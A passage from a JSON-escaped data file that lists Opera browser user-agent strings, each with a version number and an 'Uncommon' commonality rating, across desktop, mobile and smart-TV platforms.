AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.122 Safari\\/537.36 OPR\\/25.0.1614.71\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.122 Safari\\/537.36 OPR\\/25.0.1614.71\"},{\"commonality\":\"Uncommon\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1650.57 Safari\\/537.36 OPR\\/18.0.1290.67495\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; ru) Presto\\/2.10.289 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; GT-N8000 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.78 Safari\\/537.36 OPR\\/30.0.1856.92967\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55 (Edition Campaign 76)\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36 OPR\\/38.0.2220.31\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.74\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; WOW64; Edition Campaign 21) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.111 Safari\\/537.36 OPR\\/27.0.1689.69 (Edition Campaign 46)\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36 OPR\\/51.0.2830.34\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Uncommon\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2062.94 Safari\\/537.36 OPR\\/24.0.1558.53 (Edition Campaign 38)\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Linux; Andr0id 6.0.1; BRAVIA 4K GB Build\\/MMB29V.S50) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36 OPR\\/32.0.2036.0 OMI\\/4.6.4.42.E103250.101\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Opera\\/9.80 (Windows NT 10.0; Win64; x64) Presto\\/2.12.388 Version\\/38.0\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Opera\\/9.80 (Windows NT 10.0; Win64; x64) Presto\\/2.12.388 Version\\/36.0\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36 OPR\\/30.1835.49 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.62\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Debian\\/8.0 Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.881\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; Edition United States Local) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57 (Edition Campaign 75)\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Microsoft Windows NT 6.1.7600.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Opera\\/15.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.31\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.881\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.57 Safari\\/537.36 OPR\\/16.0.1196.62\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.44 Safari\\/537.36 OPR\\/25.0.1614.5 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36 OPR\\/41.0.2353.56 (Edition Campaign 34)\"},{\"commonality\":\"Uncommon\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.153 Safari\\/537.36 OPR\\/22.0.1471.70 (Edition Campaign 18)\"},{\"commonality\":\"Uncommon\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2062.122 Safari\\/537.36 OPR\\/24.0.1558.64 (Edition FCR)\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; X9009 Build\\/LMY47I) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.112031\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.0.251024530 (Edition EXP126.ref)\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36 OPR\\/51.0.2830.26\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.55\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.991\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64; U; Ubuntu\\/10.10 (maverick); pl) Presto\\/2.7.62 Version\\/11.01 UNTRUSTED\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; Edition IBIS; Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.32\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.635\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Opera\\/8.01 (Windows NT 5.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.881\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.64\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 5.1; en) Opera 11.64\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.45.18.4 (HITACHI, Mxl661315_, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.111 Safari\\/537.36 OPR\\/25.0.1614.68\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (S60; SymbOS; Opera Mobi\\/35779; U; hu) Presto\\/2.10.254 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1) Presto\\/2.12.388 Version\\/12.13\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64; U; en) Presto\\/2.10.229 Version\\/11.64\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Uncommon\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/32.0.1700.72 Safari\\/537.36 OPR\\/19.0.1340.69721\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2774.3 Safari\\/537.36 OPR\\/40.0.2288.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3213.3 Safari\\/537.36 OPR\\/50.0.2729.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.45.23.26 (BUSH, Mxl661236_, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.70 (Windows NT 5.1; U; en) TMO-US_LEO\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.0.255225696 (Edition EXP148)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36 OPR\\/34.0.2036.47\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3053.3 Safari\\/537.36 OPR\\/46.0.2573.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; Edition DriverPack; fr) Presto\\/2.10.229 Version\\/11.61\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.8.131 Version\\/11.10\"},{\"commonality\":\"Uncommon\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.1; Nexus 4 Build\\/LRX22C) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.138 Mobile Safari\\/537.36 OPR\\/22.0.1485.78487\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.46\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.7.5) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.10.289 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; A37f Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.106495\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.134 Safari\\/537.36 OPR\\/30.0.1835.151\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.46\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.32\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36 OPR\\/51.0.2830.23 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36 OPR\\/36.0.2128.0 OMI\\/4.8.0.129.PIXEL_FREEVIEW.43\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2421.0 Safari\\/537.36 OPR\\/32.0.1899.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Trident\\/7.0; rv:11.0) like Gecko Opera 12.18\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (S60; SymbOS; Opera Mobi\\/SYB-1103211396; U; es-LA) Presto\\/2.7.81 Version\\/11.00\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; MRA 6.4 (build 8614)) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0; U; pl) Presto\\/2.10.229 Version\\/11.62\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.40\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.46\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 2.2.1; Linux; Opera Mobi\\/ADR-1301071820) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/602.2.3 (KHTML, like Gecko) Chrome\\/60.0.3078.85 Safari\\/602.2.3 OPR\\/46.0.2127.16\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Opera\\/5 (FreeBSD)\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1218\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; HbbTV\\/1.2.1 (; Philips; ; ; ; ) CE-HTML\\/1.0 NETTV\\/6.0.2 SmartTvA\\/3.0.0 (PhilipsTV, 6.1.1,) en) Presto\\/2.12.407 Version\\/12.50\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; Edition IBIS; Trident\\/4.0; zh-cn) Presto\\/2.10.229 Version\\/11.62)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; Edition United States Local; en) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; SM-T817V Build\\/LMY47X) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.99 Safari\\/537.36 OPR\\/35.0.2070.100283\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36 OPR\\/41.0.2353.69\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; SM-G361H Build\\/LMY48B) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.105088\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.29 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.45.23.11 (JVC, Mxl661315_, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; WOW64) Presto\\/2.12.388 Version\\/12.12\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows ME; U; en) Presto\\/2.6.30 Version\\/10.63\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Linux armv7l ; U; CE-HTML\\/1.0 NETTV\\/4.1.1; en) Presto\\/2.6.33 Version\\/10.60\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Linux armv6l; Opera TV Store\\/4518; U; (SonyBDP\\/BDV12); en) Presto\\/2.10.250 Version\\/11.60\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux i686; U; Edition Next; nl) Presto\\/2.10.289 Version\\/12.01\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.85 Safari\\/537.36 OPR\\/41.0.2246.110204\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"HUAWEI-G7300\\/HUAWEI_G7300_S_WIFI_V100R001B201C200SP04   Browser\\/Opera MMS\\/1.0 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 Opera\\/9.80 (MTK; U; en-GB) Presto\\/2.5.28 Version\\/10.10\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.40\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.18 (DIGIHOME, Mxl661L32, wired) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64; Edition Linux Mint) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36 OPR\\/35.0.2066.92\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1890.0 OMI\\/4.6.1.40.Dominik2.157\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.42\"},{\"commonality\":\"Uncommon\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 6.0; TECNO W2 Build\\/MRA58K; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/52.0.2743.98 Mobile Safari\\/537.36 OPR\\/19.0.2254.108926\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36 OPR\\/51.0.2830.40\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mot-WX308\\/v3 BTSTLE_G_0A.22.11RPS Release\\/10.11.2011 Browser\\/Opera Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 Sync\\/SyncClient1.1 Opera\\/9.80 (MTK; Nucleus; Opera Mobi\\/4000; U; en-US) Presto\\/2.5.28 Version\\/10.10\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36 OPR\\/39.0.2256.71\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.55\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36 OPR\\/49.0.2725.34\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.130 Safari\\/537.36 OPR\\/30.0.1835.125\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36 OPR\\/42.0.2393.85\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2351.3 Safari\\/537.36 OPR\\/30.0.1835.5 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36 OPR\\/35.0.2066.68\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36 OPR\\/35.0.2066.68\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.19 Safari\\/537.36 OPR\\/39.0.2226.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) 